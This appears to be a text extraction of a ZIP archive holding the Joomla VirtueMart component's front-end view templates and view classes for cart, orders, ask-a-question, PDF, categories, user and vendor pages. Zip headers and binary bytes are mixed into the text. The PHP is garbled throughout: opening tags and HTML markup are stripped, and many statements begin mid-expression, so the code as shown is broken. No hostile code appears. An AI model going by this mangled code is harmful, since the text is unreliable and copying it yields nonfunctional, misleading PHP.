              PKGy>\-kk*com_virtuemart/views/cart/tmpl/default.xmlnuW+A COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE PKGy>\)#com_virtuemart/views/cart/.htaccessnuW+A Order allow,deny Deny from all PKGy>\Q&&2com_virtuemart/views/orders/tmpl/details_items.phpnuW+Aformat == 'pdf'){ $widthTable = '100'; $widthTitle = '27'; } else { $widthTable = '100'; $widthTitle = '49'; } ?> orderdetails['items'] as $item) { $qtt = $item->product_quantity ; $_link = JRoute::_('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $item->virtuemart_category_id . '&virtuemart_product_id=' . $item->virtuemart_product_id, FALSE); ?> orderdetails['details']['BT']->coupon_discount <> 0.00) { $coupon_code=$this->orderdetails['details']['BT']->coupon_code?' ('.$this->orderdetails['details']['BT']->coupon_code.')':''; ?> orderdetails['calc_rules'] as $rule){ if ($rule->calc_kind== 'DBTaxRulesBill') { ?> calc_kind == 'taxRulesBill') { ?> calc_kind == 'DATaxRulesBill') { ?>
              order_item_sku; ?> product_attribute)) { if(!class_exists('VirtueMartModelCustomfields'))require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'customfields.php'); $product_attribute = VirtueMartModelCustomfields::CustomsFieldOrderDisplay($item,'FE'); echo $product_attribute; } ?> orderstatuses[$item->order_status]; ?> product_discountedPriceWithoutTax = (float) $item->product_discountedPriceWithoutTax; if (!empty($item->product_priceWithoutTax) && $item->product_discountedPriceWithoutTax != $item->product_priceWithoutTax) { echo ''.$this->currency->priceDisplay($item->product_item_price, $this->currency) .'
              '; echo ''.$this->currency->priceDisplay($item->product_discountedPriceWithoutTax, $this->currency) .'
              '; } else { echo ''.$this->currency->priceDisplay($item->product_item_price, $this->currency) .'
              '; } ?>
              ".$this->currency->priceDisplay($item->product_tax ,$this->currency, $qtt)."" ?> currency->priceDisplay( $item->product_subtotal_discount ,$this->currency); //No quantity is already stored with it ?> product_basePriceWithTax = (float) $item->product_basePriceWithTax; $class = ''; if(!empty($item->product_basePriceWithTax) && $item->product_basePriceWithTax != $item->product_final_price ) { echo ''.$this->currency->priceDisplay($item->product_basePriceWithTax,$this->currency,$qtt) .'
              ' ; } elseif (empty($item->product_basePriceWithTax) && $item->product_item_price != $item->product_final_price) { echo '' . $this->currency->priceDisplay($item->product_item_price,$this->currency,$qtt) . '
              '; } echo $this->currency->priceDisplay( $item->product_subtotal_with_tax ,$this->currency); //No quantity or you must use product_final_price ?>
              ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_tax,$this->currency)."" ?> ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_discountAmount,$this->currency)."" ?> currency->priceDisplay($this->orderdetails['details']['BT']->order_salesPrice,$this->currency) ?>
                  currency->priceDisplay($this->orderdetails['details']['BT']->coupon_discount,$this->currency); ?>
              calc_rule_name ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?>
              calc_rule_name ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?>
              calc_rule_name ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?> currency->priceDisplay($rule->calc_amount,$this->currency); ?>
              ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_shipment_tax, $this->currency)."" ?>   currency->priceDisplay($this->orderdetails['details']['BT']->order_shipment+ $this->orderdetails['details']['BT']->order_shipment_tax, $this->currency); ?>
              ".$this->currency->priceDisplay($this->orderdetails['details']['BT']->order_payment_tax, $this->currency)."" ?>   currency->priceDisplay($this->orderdetails['details']['BT']->order_payment+ $this->orderdetails['details']['BT']->order_payment_tax, $this->currency); ?>
              currency->priceDisplay($this->orderdetails['details']['BT']->order_billTaxAmount, $this->currency); ?> currency->priceDisplay($this->orderdetails['details']['BT']->order_billDiscountAmount, $this->currency); ?> currency->priceDisplay($this->orderdetails['details']['BT']->order_total, $this->currency); ?>
              PKGy>\"0T0com_virtuemart/views/orders/tmpl/details_pdf.phpnuW+A\[4com_virtuemart/views/orders/tmpl/details_history.phpnuW+A orderdetails['history'] as $_hist) { if (!$_hist->customer_notified) { continue; } ?>
              created_on,'LC2',true); ?> orderstatuses[$_hist->order_status_code]; ?> comments; ?>
              PKGy>\5.  2com_virtuemart/views/orders/tmpl/details_order.phpnuW+A
              orderdetails['details']['BT']->order_number; ?>
              orderdetails['details']['BT']->created_on, 'LC4', true); ?>
              orderstatuses[$this->orderdetails['details']['BT']->order_status]; ?>
              orderdetails['details']['BT']->modified_on, 'LC4', true); ?>
              shipment_name; ?>
              payment_name; ?>
              orderdetails['details']['BT']->customer_note; ?>
              currency->priceDisplay($this->orderdetails['details']['BT']->order_total, $this->currency); ?>
               

              userfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
              ' . $field['title'] . '' . $field['value'] . '

              shipmentfields['fields'] as $field) { if (!empty($field['value'])) { echo '' . ''; } } ?>
              ' . $field['title'] . '' . $field['value'] . '
              PKGy>\< R,com_virtuemart/views/orders/tmpl/details.xmlnuW+A PKGy>\ۆ ,com_virtuemart/views/orders/tmpl/details.phpnuW+Aprint){ ?>

              vendor->vendor_store_name; ?>

              vendor->vendor_name .' - '.$this->vendor->vendor_phone ?>

              loadTemplate('order'); ?>
              loadTemplate('items'); ?>
              vendor->vendor_letter_footer_html; ?>

              details_url', 'win2', 'status=no,toolbar=no,scrollbars=yes,titlebar=no,menubar=no,resizable=yes,width=640,height=480,directories=no,location=no');\" >"; //$details_link .= ' '; $button = (JVM_VERSION==1) ? '/images/M_images/printButton.png' : 'system/printButton.png'; $details_link .= JHtml::_('image',$button, JText::_('COM_VIRTUEMART_PRINT'), NULL, true); $details_link .= ''; echo $details_link; ?>

              order_list_link){ ?>
              loadTemplate('order'); ?>


              PKGy>\ Hs s )com_virtuemart/views/orders/tmpl/list.phpnuW+A

              orderlist) == 0) { //echo JText::_('COM_VIRTUEMART_ACC_NO_ORDER'); echo shopFunctionsF::getLoginForm(false,true); } else { ?>
              orderlist as $row) { $editlink = JRoute::_('index.php?option=com_virtuemart&view=orders&layout=details&order_number=' . $row->order_number, FALSE); ?> ">
              order_number; ?> created_on,'LC4',true); ?> order_status); ?> currency->priceDisplay($row->order_total, $row->currency); ?>
              PKGy>\͏)com_virtuemart/views/orders/tmpl/list.xmlnuW+A COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE PKGy>\"jp;com_virtuemart/views/askquestion/tmpl/mail_raw_question.phpnuW+Avendor->vendor_store_name) . "\n" . "\n"; echo JText::_('COM_VIRTUEMART_QUESTION_ABOUT') . ' '. $this->product->product_name; if ($this->product->product_sku) echo ' ('.JText::_('COM_VIRTUEMART_PRODUCT_SKU').' '.$this->product->product_sku .')' ; echo "\n" . "\n"; echo JText::sprintf('COM_VIRTUEMART_QUESTION_MAIL_FROM', $this->user->name, $this->user->email) . "\n"; echo $this->comment. "\n"; PKGy>\)/com_virtuemart/views/askquestion/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\*.com_virtuemart/views/askquestion/tmpl/form.phpnuW+AaddScriptDeclaration(' jQuery(function($){ $("#askform").validationEngine("attach"); $("#comment").keyup( function () { var result = $(this).val(); $("#counter").val( result.length ); }); }); '); /* Let's see if we found the product */ if (empty ( $this->product )) { echo JText::_ ( 'COM_VIRTUEMART_PRODUCT_NOT_FOUND' ); echo '

              ' . $this->continue_link_html; } else { $session = JFactory::getSession(); $askQuestionData = $session->get('askquestion', 0, 'vm'); if(!empty($this->login)){ echo $this->login; } if(empty($this->login) or VmConfig::get('recommend_unauth',false)){ ?>

              product->product_name ?>

              product->product_s_desc)) { ?>
              product->product_s_desc ?>
              product->images[0]->displayMediaThumb('class="product-image"',false); ?>
              trigger('onInit','dynamic_recaptcha_1'); ?>
              PKGy>\0com_virtuemart/views/askquestion/tmpl/index.htmlnuW+APKGy>\s= <com_virtuemart/views/askquestion/tmpl/mail_html_question.phpnuW+A
              PKGy>\GOO8com_virtuemart/views/askquestion/tmpl/mail_confirmed.phpnuW+A
              PKGy>\)*com_virtuemart/views/askquestion/.htaccessnuW+A Order allow,deny Deny from all PKGy>\-com_virtuemart/views/askquestion/metadata.xmlnuW+A PKGy>\i.com_virtuemart/views/askquestion/view.html.phpnuW+Aredirect(JRoute::_('index.php?option=com_virtuemart','Disabled function')); } $this->login = ''; if(!VmConfig::get('recommend_unauth',false)){ $user = JFactory::getUser(); if($user->guest){ $this->login = shopFunctionsF::getLoginForm(false); //$app->redirect(JRoute::_('index.php?option=com_virtuemart','JGLOBAL_YOU_MUST_LOGIN_FIRST')); } } $show_prices = VmConfig::get ('show_prices', 1); if ($show_prices == '1') { if (!class_exists ('calculationHelper')) { require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'calculationh.php'); } } $this->assignRef ('show_prices', $show_prices); $document = JFactory::getDocument (); $mainframe = JFactory::getApplication (); $pathway = $mainframe->getPathway (); $task = JRequest::getCmd ('task'); if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); // Load the product $product_model = VmModel::getModel ('product'); $category_model = VmModel::getModel ('Category'); $virtuemart_product_idArray = JRequest::getInt ('virtuemart_product_id', 0); if (is_array ($virtuemart_product_idArray)) { $virtuemart_product_id = $virtuemart_product_idArray[0]; } else { $virtuemart_product_id = $virtuemart_product_idArray; } if (empty($virtuemart_product_id)) { self::showLastCategory ($tpl); return; } if (!class_exists ('VirtueMartModelVendor')) { require(JPATH_VM_ADMINISTRATOR . DS . 'models' . DS . 'vendor.php'); } $product = $product_model->getProduct ($virtuemart_product_id); // Set Canonic link $format = JRequest::getWord('format', 'html'); if ($format == 'html') { $document->addHeadLink ($product->canonical, 'canonical', 'rel', ''); } // Set the titles $document->setTitle (JText::sprintf ('COM_VIRTUEMART_PRODUCT_DETAILS_TITLE', $product->product_name . ' - ' . JText::_ ('COM_VIRTUEMART_PRODUCT_ASK_QUESTION'))); $this->assignRef ('product', $product); if (empty($product)) { self::showLastCategory ($tpl); return; } $product_model->addImages ($product, 1); /* Get the category ID */ $virtuemart_category_id = JRequest::getInt ('virtuemart_category_id'); if ($virtuemart_category_id == 0 && !empty($product)) { if (array_key_exists ('0', $product->categories)) { $virtuemart_category_id = $product->categories[0]; } } shopFunctionsF::setLastVisitedCategoryId ($virtuemart_category_id); if ($category_model) { $category = $category_model->getCategory ($virtuemart_category_id); $this->assignRef ('category', $category); $pathway->addItem ($category->category_name, JRoute::_ ('index.php?option=com_virtuemart&view=category&virtuemart_category_id=' . $virtuemart_category_id, FALSE)); } //$pathway->addItem(JText::_('COM_VIRTUEMART_PRODUCT_DETAILS'), $uri->toString(array('path', 'query', 'fragment'))); $pathway->addItem ($product->product_name, JRoute::_ ('index.php?option=com_virtuemart&view=productdetails&virtuemart_category_id=' . $virtuemart_category_id . '&virtuemart_product_id=' . $product->virtuemart_product_id, FALSE)); // for askquestion $pathway->addItem (JText::_ ('COM_VIRTUEMART_PRODUCT_ASK_QUESTION')); $this->assignRef ('user', JFactory::getUser ()); if ($product->metadesc) { $document->setDescription ($product->metadesc); } if ($product->metakey) { $document->setMetaData ('keywords', $product->metakey); } //We never want that ask a question is indexed $document->setMetaData('robots','NOINDEX, NOFOLLOW, NOARCHIVE, NOSNIPPET'); if ($mainframe->getCfg ('MetaTitle') == '1') { $document->setMetaData ('title', $product->product_s_desc); //Maybe better product_name } if ($mainframe->getCfg ('MetaAuthor') == '1') { $document->setMetaData ('author', $product->metaauthor); } parent::display ($tpl); } function renderMailLayout () { $this->setLayout ('mail_html_question'); $this->comment = JRequest::getString ('comment'); $user = JFactory::getUser (); if (empty($user->id)) { $fromMail = JRequest::getVar ('email'); //is sanitized then $fromName = JRequest::getVar ('name', ''); //is sanitized then $fromMail = str_replace (array('\'', '"', ',', '%', '*', '/', '\\', '?', '^', '`', '{', '}', '|', '~'), array(''), $fromMail); $fromName = str_replace (array('\'', '"', ',', '%', '*', '/', '\\', '?', '^', '`', '{', '}', '|', '~'), array(''), $fromName); } else { $fromMail = $user->email; $fromName = $user->name; } $vars['user'] = array('name' => $fromName, 'email' => $fromMail); $vendorModel = VmModel::getModel ('vendor'); if(empty($this->vendor)){ $this->vendor = $vendorModel->getVendor (); $this->vendor->vendor_store_name = $fromName; } $vendorModel->addImages ($this->vendor); $virtuemart_product_id = vRequest::getInt ('virtuemart_product_id', 0); $productModel = VmModel::getModel ('product'); if(empty($this->product)){ $this->product = $productModel->getProduct ($virtuemart_product_id); } $productModel->addImages($this->product); $this->subject = Jtext::_ ('COM_VIRTUEMART_QUESTION_ABOUT') . $this->product->product_name; $this->vendorEmail = $this->user['email']; // in this particular case, overwrite the value for fix the recipient name $this->vendor->vendor_name = $this->user['name']; if (VmConfig::get ('order_mail_html')) { $tpl = 'mail_html_question'; } else { $tpl = 'mail_raw_question'; } $this->setLayout ($tpl); parent::display (); } private function showLastCategory ($tpl) { $virtuemart_category_id = shopFunctionsF::getLastVisitedCategoryId (); $categoryLink = ''; if ($virtuemart_category_id) { $categoryLink = '&virtuemart_category_id=' . $virtuemart_category_id; } $continue_link = JRoute::_ ('index.php?option=com_virtuemart&view=category' . $categoryLink, FALSE); $continue_link_html = '' . JText::_ ('COM_VIRTUEMART_CONTINUE_SHOPPING') . ''; $this->assignRef ('continue_link_html', $continue_link_html); // Display it all parent::display ($tpl); } } // pure php no closing tagPKGy>\+com_virtuemart/views/askquestion/index.htmlnuW+APKGy>\odd%com_virtuemart/views/pdf/view.pdf.phpnuW+Adisplay($tpl); } } } PKGy>\El#com_virtuemart/views/pdf/index.htmlnuW+A PKGy>\)"com_virtuemart/views/pdf/.htaccessnuW+A Order allow,deny Deny from all PKGy>\II%com_virtuemart/views/pdf/view.raw.phpnuW+AassignRef('type', $type); $viewName = jRequest::getWord('view','productdetails'); $class= 'VirtueMartView'.ucfirst($viewName); if(!class_exists($class)) require(JPATH_VM_SITE.DS.'views'.DS.$viewName.DS.'view.html.php'); $view = new $class ; $view->display($tpl); } } PKGy>\F8%-com_virtuemart/views/categories/view.html.phpnuW+AgetPathway(); //Load helpers if (!class_exists('VmImage')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'image.php'); $vendorId = JRequest::getInt('vendorid', 1); $vendorModel = VmModel::getModel('vendor'); $vendorModel->setId(1); $vendor = $vendorModel->getVendor(); //$this->assignRef('vendor',$vendor); $categoryModel = VmModel::getModel('category'); $categoryId = JRequest::getInt('virtuemart_category_id', 0); $this->assignRef('categoryModel', $categoryModel); // $categoryId = 0; //The idea is that you can choose a parent catgory, this value should come from the joomla view parameter stuff $category = $categoryModel->getCategory($categoryId); if(!empty($category->virtuemart_category_id) and empty($category->published)){ vmInfo('COM_VIRTUEMART_CAT_NOT_PUBL',$category->category_name,$categoryId); return false; } //if($category->children) $categoryModel->addImages($category->children); $cache = JFactory::getCache('com_virtuemart','callback'); $category->children = $cache->call( array( 'VirtueMartModelCategory', 'getChildCategoryList' ),$vendorId, $categoryId ); //$category->children = $categoryModel->getChildCategoryList($vendorId, $categoryId); $categoryModel->addImages($category->children,1); if (VmConfig::get('enable_content_plugin', 0)) { // add content plugin // $dispatcher = JDispatcher::getInstance(); JPluginHelper::importPlugin('content'); $category->text = $category->category_description; if(!class_exists('JParameter')) require(JPATH_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php'); $params = new JParameter(''); if(JVM_VERSION === 2 ) { $results = $dispatcher->trigger('onContentPrepare', array('com_virtuemart.category', &$category, &$params, 0)); // More events for 3rd party content plugins // This do not disturb actual plugins, because we don't modify $product->text $res = $dispatcher->trigger('onContentAfterTitle', array('com_virtuemart.category', &$category, &$params, 0)); $category->event->afterDisplayTitle = trim(implode("\n", $res)); $res = $dispatcher->trigger('onContentBeforeDisplay', array('com_virtuemart.category', &$category, &$params, 0)); $category->event->beforeDisplayContent = trim(implode("\n", $res)); $res = $dispatcher->trigger('onContentAfterDisplay', array('com_virtuemart.category', &$category, &$params, 0)); $category->event->afterDisplayContent = trim(implode("\n", $res)); } else { $results = $dispatcher->trigger('onPrepareContent', array(& $category, & $params, 0)); } $category->category_description = $category->text; } //Add the category name to the pathway // $pathway->addItem(strip_tags($category->category_name)); //Todo what should be shown up? // Add the category name to the pathway if ($category->parents) { foreach ($category->parents as $c){ $pathway->addItem(strip_tags($c->category_name),JRoute::_('index.php?option=com_virtuemart&view=categories&virtuemart_category_id='.$c->virtuemart_category_id, FALSE)); } } else { if(!empty($category->category_name)){ $pathway->addItem(strip_tags($category->category_name,JRoute::_('index.php?option=com_virtuemart&view=categories&virtuemart_category_id='.$category->virtuemart_category_id, FALSE))); } else { $pathway->addItem(strip_tags(JText::_('COM_VIRTUEMART_CATEGORY_TOP_LEVEL'),JRoute::_('index.php?option=com_virtuemart&view=categories&virtuemart_category_id='.$category->virtuemart_category_id, FALSE))); } } $this->assignRef('category', $category); /* Set the titles */ if ($category->category_name) $document->setTitle($category->category_name); //Todo same here, what should be shown up? else { $menus = JFactory::getApplication()->getMenu(); $menu = $menus->getActive(); if(!empty($menu)){ if (!class_exists('JParameter')) require(JPATH_VM_LIBRARIES . DS . 'joomla' . DS . 'html' . DS . 'parameter.php' ); $menu_params = new JParameter( $menu->params ); } if (empty($menu) || !$menu_params->get( 'page_title')) { $document->setTitle($vendor->vendor_store_name); $category->category_name = $vendor->vendor_store_name ; } else $category->category_name = $menu_params->get( 'page_title'); } //Todo think about which metatags should be shown in the categories view if ($category->metadesc) { $document->setDescription( $category->metadesc ); } else $document->setDescription( $category->category_description ); if ($category->metakey) { $document->setMetaData('keywords', $category->metakey); } if ($category->metarobot) { $document->setMetaData('robots', $category->metarobot); } //if ($mainframe->getCfg('MetaTitle') == '1') { $document->setMetaData('title', strip_tags($category->category_name)); //Maybe better category_name //} if ($mainframe->getCfg('MetaAuthor') == '1') { $document->setMetaData('author', $category->metaauthor); } if ($category->customtitle) { $title = strip_tags($category->customtitle); } else { $title = strip_tags($category->category_name); } if(empty($category->category_template)){ $category->category_template = VmConfig::get('categorytemplate'); } shopFunctionsF::setVmTemplate($this,$category->category_template,0,$category->category_layout); parent::display($tpl); } } //no closing tagPKGy>\))com_virtuemart/views/categories/.htaccessnuW+A Order allow,deny Deny from all PKGy>\#o,,/com_virtuemart/views/categories/tmpl/index.htmlnuW+APKGy>\).com_virtuemart/views/categories/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\)cc0com_virtuemart/views/categories/tmpl/default.xmlnuW+A COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE
              PKGy>\/GO O 0com_virtuemart/views/categories/tmpl/default.phpnuW+Acategory->haschildren) { // Category and Columns Counter $iCol = 1; $iCategory = 1; // Calculating Categories Per Row $categories_per_row = VmConfig::get ( 'categories_per_row', 3 ); $category_cellwidth = ' width'.floor ( 100 / $categories_per_row ); // Separator $verticalseparator = " vertical-separator"; ?>
              category->children ) { foreach ( $this->category->children as $category ) { // Show the horizontal seperator if ($iCol == 1 && $iCategory > $categories_per_row) { ?>
              PKGy>\#o,,*com_virtuemart/views/categories/index.htmlnuW+APKGy>\x**/com_virtuemart/views/user/tmpl/edit_address.phpnuW+AuserFields['fields']); // Implement Joomla's form validation JHTML::_ ('behavior.formvalidation'); JHTML::stylesheet ('vmpanels.css', JURI::root () . 'components/com_virtuemart/assets/css/'); if ($this->fTask === 'savecartuser') { $rtask = 'registercartuser'; $url = 0; } else { $rtask = 'registercheckoutuser'; $url = JRoute::_('index.php?option=com_virtuemart&view=cart&task=checkout', 0, $this->useSSL); } ?>

              page_title ?>

              address_type == 'BT') { echo JText::_ ('COM_VIRTUEMART_USER_FORM_EDIT_BILLTO_LBL'); } else { echo JText::_ ('COM_VIRTUEMART_USER_FORM_ADD_SHIPTO_LBL'); } ?>

              fTask, 'cart') || strpos ($this->fTask, 'checkout')) { $rview = 'cart'; } else { $rview = 'user'; } // echo 'rview = '.$rview; if (strpos ($this->fTask, 'checkout') || $this->address_type == 'ST') { $buttonclass = 'default'; } else { $buttonclass = 'button vm-button-correct'; } if (VmConfig::get ('oncheckout_show_register', 1) && $this->userId == 0 && !VmConfig::get ('oncheckout_only_registered', 0) && $this->address_type == 'BT' and $rview == 'cart') { echo JText::sprintf ('COM_VIRTUEMART_ONCHECKOUT_DEFAULT_TEXT_REGISTER', JText::_ ('COM_VIRTUEMART_REGISTER_AND_CHECKOUT'), JText::_ ('COM_VIRTUEMART_CHECKOUT_AS_GUEST')); } else { //echo JText::_('COM_VIRTUEMART_REGISTER_ACCOUNT'); } if (VmConfig::get ('oncheckout_show_register', 1) && $this->userId == 0 && $this->address_type == 'BT' and $rview == 'cart') { ?>
              trigger('onInit','dynamic_recaptcha_1'); $hide_captcha = (VmConfig::get ('oncheckout_only_registered') or $captcha_visible) ? '' : 'style="display: none;"'; ?>
              >
              userFields['functions']) > 0) { echo '' . "\n"; } echo $this->loadTemplate ('userfields'); ?>
              userDetails->JUser->get ('id')) { echo $this->loadTemplate ('addshipto'); } ?> virtuemart_userinfo_id)) { echo ''; } echo JHTML::_ ('form.token'); ?> PKGy>\xdgpp3com_virtuemart/views/user/tmpl/mail_raw_reguser.phpnuW+Auser->name) . $li . $li; if (!empty($this->activationLink)) { $activationLink = 'show )) $this->show = TRUE; if (!isset( $this->from_cart )) $this->from_cart = FALSE; if (!isset( $this->order )) $this->order = FALSE ; if(!class_exists('shopFunctionsF')) require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); $comUserOption=shopFunctionsF::getComUserOption(); if (empty($this->url)){ $url = vmURI::getCleanUrl(); } else{ $url = $this->url; } $user = JFactory::getUser(); if ($this->show and $user->id == 0 ) { JHtml::_('behavior.formvalidation'); JHTML::_ ( 'behavior.modal' ); //Extra login stuff, systems like openId and plugins HERE if (JPluginHelper::isEnabled('authentication', 'openid')) { $lang = JFactory::getLanguage(); $lang->load('plg_authentication_openid', JPATH_ADMINISTRATOR); $langScript = ' // '; $document = JFactory::getDocument(); $document->addScriptDeclaration($langScript); JHTML::_('script', 'openid.js'); } $html = ''; JPluginHelper::importPlugin('vmpayment'); $dispatcher = JDispatcher::getInstance(); $returnValues = $dispatcher->trigger('plgVmDisplayLogin', array($this, &$html, $this->from_cart)); if (is_array($html)) { foreach ($html as $login) { echo $login.'
              '; } } else { echo $html; } //end plugins section //anonymous order section if ($this->order ) { ?>



              from_cart ) { ?>

              get('allowUserRegistration')) { ?>
              id ) { ?>
              name ); ?>
              PKGy>\\ed d 6com_virtuemart/views/user/tmpl/mail_html_regvendor.phpnuW+A'; ?>
              PKGy>\ːaa'com_virtuemart/views/user/tmpl/edit.xmlnuW+A COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE PKGy>\;k5com_virtuemart/views/user/tmpl/mail_raw_regvendor.phpnuW+A vendor->vendor_store_name) . $li. $li ?> user->username . $li; ?> user->name . $li. $li; ?> userFields['fields'] as $userField) { if (!empty($userField['value']) && $userField['type'] != 'delimiter' && $userField['type'] != 'BT') { echo $userField['title'] . ' ' . $userField['value'] . $li; } } echo $li; echo JURI::root() . 'index.php?option=com_virtuemart&view=user' . $li; echo $li; //echo JURI::root() . 'index.php?option=com_virtuemart&view=user&virtuemart_user_id=' . $this->_models['user']->_id . ' ' . $li; //echo JURI::root() . 'index.php?option=com_virtuemart&view=vendor&virtuemart_vendor_id=' . $this->vendor->virtuemart_vendor_id . ' ' . $li; ?> PKGy>\9Uw.com_virtuemart/views/user/tmpl/editaddress.xmlnuW+A COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE PKGy>\ 4com_virtuemart/views/user/tmpl/mail_html_reguser.phpnuW+A'; ?>
              PKGy>\'w9com_virtuemart/views/user/tmpl/edit_address_addshipto.phpnuW+A
              ' .JText::_('COM_VIRTUEMART_USER_FORM_SHIPTO_LBL').''; ?> lists['shipTo']; ?>
              PKGy>\WE:com_virtuemart/views/user/tmpl/edit_address_userfields.phpnuW+AuserFields['fields'] as $field) { if($field['type'] == 'delimiter') { // For Every New Delimiter // We need to close the previous // table and delimiter if($closeDelimiter) { ?>
              PKGy>\'A<[1com_virtuemart/views/user/tmpl/edit_vmshopper.phpnuW+A
              lists['shoppergroups']) { ?>
              lists['vendors']; ?>
              check('admin')) { ?> lists['custnumber']; } ?>
              lists['shoppergroups']; ?>
              PKGy>\)%com_virtuemart/views/vendor/.htaccessnuW+A Order allow,deny Deny from all PKGy>\*e,,)com_virtuemart/views/vendor/view.html.phpnuW+AgetPathway(); $layoutName = $this->getLayout(); $model = VmModel::getModel(); $virtuemart_vendor_id = JRequest::getInt('virtuemart_vendor_id'); // if ($layoutName=='default') { if (empty($virtuemart_vendor_id)) { $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_LIST') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_LIST')); $vendors = $model->getVendors(); $model->addImages($vendors); $this->assignRef('vendors', $vendors); } else { $vendor = $model->getVendor($virtuemart_vendor_id); $model->addImages($vendor); if (VmConfig::get ('enable_content_plugin', 0)) { if(!class_exists('shopFunctionsF'))require(JPATH_VM_SITE.DS.'helpers'.DS.'shopfunctionsf.php'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_store_desc'); shopFunctionsF::triggerContentPlugin($vendor, 'vendor','vendor_terms_of_service'); } $this->assignRef('vendor', $vendor); if(!class_exists('VirtueMartModelVendor')) require(JPATH_VM_ADMINISTRATOR.DS.'models'.DS.'vendor.php'); $userId = VirtueMartModelVendor::getUserIdByVendorId($virtuemart_vendor_id); //$usermodel = VmModel::getModel('user'); //$virtuemart_userinfo_id = $usermodel->getBTuserinfo_id($userId); //$usermodel->getVendor($virtuemart_vendor_id); //$userFields = $usermodel->getUserInfoInUserFields($layoutName, 'BT', $virtuemart_userinfo_id,true,true); //$this->assignRef('userFields', $userFields); if ($layoutName=='tos') { $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_TOS') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_TOS')); } elseif ($layoutName=='contact') { $user = JFactory::getUser(); $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_CONTACT') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_CONTACT')); $this->assignRef('user', $user); } else { $document->setTitle( JText::_('COM_VIRTUEMART_VENDOR_DETAILS') ); $pathway->addItem(JText::_('COM_VIRTUEMART_VENDOR_DETAILS')); $this->setLayout('details'); } $linkdetails = ''.JText::_('COM_VIRTUEMART_VENDOR_DETAILS').''; $linkcontact = ''.JText::_('COM_VIRTUEMART_VENDOR_CONTACT').''; $linktos = ''.JText::_('COM_VIRTUEMART_VENDOR_TOS').''; //$this->assignRef('lineSeparator', $lineSeparator); $this->assignRef('linkdetails', $linkdetails); $this->assignRef('linkcontact', $linkcontact); $this->assignRef('linktos', $linktos); } parent::display($tpl); } function renderMailLayout($doVendor, $recipient) { $this->setLayout('mail_html_question'); $this->comment = JRequest::getString('comment'); $virtuemart_vendor_id = JRequest::getInt('virtuemart_vendor_id'); $this->doVendor=$doVendor; //$this->doVendor=TRUE; $vendorModel = VmModel::getModel('vendor'); $this->vendor = $vendorModel->getVendor($virtuemart_vendor_id); // in this particular case, overwrite the value for fix the recipient name $this->vendor->vendor_name= $this->user['name']; $this->subject = JText::_('COM_VIRTUEMART_VENDOR_CONTACT') .' '.$this->user['name']; $this->vendorEmail= $this->user['email']; //$this->vendorName= $this->user['email']; if (VmConfig::get('order_mail_html')) { $tpl = 'mail_html_question'; } else { $tpl = 'mail_raw_question'; } $this->setLayout($tpl); parent::display( ); } } //No Closing Tag PKGy>\hj(com_virtuemart/views/vendor/metadata.xmlnuW+A PKGy>\&com_virtuemart/views/vendor/index.htmlnuW+APKGy>\!_

              vendor->vendor_store_name; if (!empty($this->vendor->images[0])) { ?>
              vendor->images[0]->displayMediaThumb('',false); ?>

              vendor->vendor_terms_of_service )) { ?>
              vendor->vendor_terms_of_service ?>

              linkdetails ?>
              linkcontact ?>
              PKGy>\|(((com_virtuemart/views/vendor/tmpl/tos.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE
              PKGy>\)*com_virtuemart/views/vendor/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\Γdd7com_virtuemart/views/vendor/tmpl/mail_html_question.phpnuW+A
              PKGy>\5UU3com_virtuemart/views/vendor/tmpl/mail_confirmed.phpnuW+A

              PKGy>\{-2<<,com_virtuemart/views/vendor/tmpl/details.xmlnuW+A COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE
              PKGy>\JDz,com_virtuemart/views/vendor/tmpl/details.phpnuW+A

              vendor->vendor_store_name; if (!empty($this->vendor->images[0])) { ?>
              vendor->images[0]->displayMediaThumb('',false); ?>

              vendor->vendor_store_desc.'
              '; if(!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'shopfunctions.php'); echo shopFunctions::renderVendorAddress($this->vendor->virtuemart_vendor_id); ?>
              vendor->vendor_legal_info; ?>
              linktos ?>
              linkcontact ?>
